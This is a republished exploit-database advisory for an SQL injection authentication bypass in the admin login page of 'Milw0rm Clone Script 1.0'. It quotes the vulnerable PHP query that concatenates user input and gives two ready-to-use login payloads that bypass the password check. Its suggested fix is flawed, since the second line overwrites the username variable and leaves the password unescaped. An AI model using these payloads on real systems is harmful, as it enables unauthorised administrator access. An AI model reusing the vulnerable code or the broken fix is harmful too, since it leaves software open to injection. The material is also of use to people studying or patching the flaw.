Milw0rm Clone Script 1.0 – ‘/admin/login.php’ Authentication Bypass

• Exploit Database
• 187 阅读

• 作者： walid naceri
  日期： 2015-06-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/37290/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47

  <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> | Exploit Title: Milw0rm Clone Script v1.0 (Auth Bypass) SQL Injection Vulnerability | |Date: 06.13.2015| | Exploit Daddy: Walid Naceri| | Vendor Homepage: http://milw0rm.sourceforge.net/ | | Software Link: http://sourceforge.net/projects/milw0rm/files/milw0rm.rar/download| | Version: v1.0| | Tested On: Kali Linux, Mac, Windows| |><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><| | Website exploiter: WwW.security-Dz.Com | | CALLINGout: 1337day/inj3ct0r Please admit that they got your server haha CIA | | Sorry: Sorry pancaker, you missed that one :(| <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> ### vuln codezadmin/login.php ### <? $usr = htmlspecialchars(trim($_POST[&apos;usr&apos;])); ---- what are you doing? $pwd = htmlspecialchars(trim($_POST[&apos;pwd&apos;])); ---- are you sure that you are a programmer? if($usr && $pwd){ $login = mysql_query("SELECT * FROM <code>site_info</code> WHERE <code>adm_usr</code>=&apos;".$usr."&apos; AND <code>adm_pwd</code>=&apos;".md5($pwd)."&apos;;"); $row = mysql_num_rows($login); ----Bla Bla Bla-------- ### manual ### Go to the login admin panel :)   Exploit 1: USER: ADMIN&apos; OR &apos;&apos;=&apos; PASS: ADMIN&apos; OR &apos;&apos;=&apos;   Exploit 2: USER: ADMIN&apos; OR 1=1# PASS: Anything Bro :)       ### How to fix, learn bro some php again :) ###   $usr = htmlspecialchars(trim(mysql_real_escape_string($_POST[&apos;usr&apos;]))); $usr = htmlspecialchars(trim(mysql_real_escape_string($_POST[&apos;pwd&apos;])));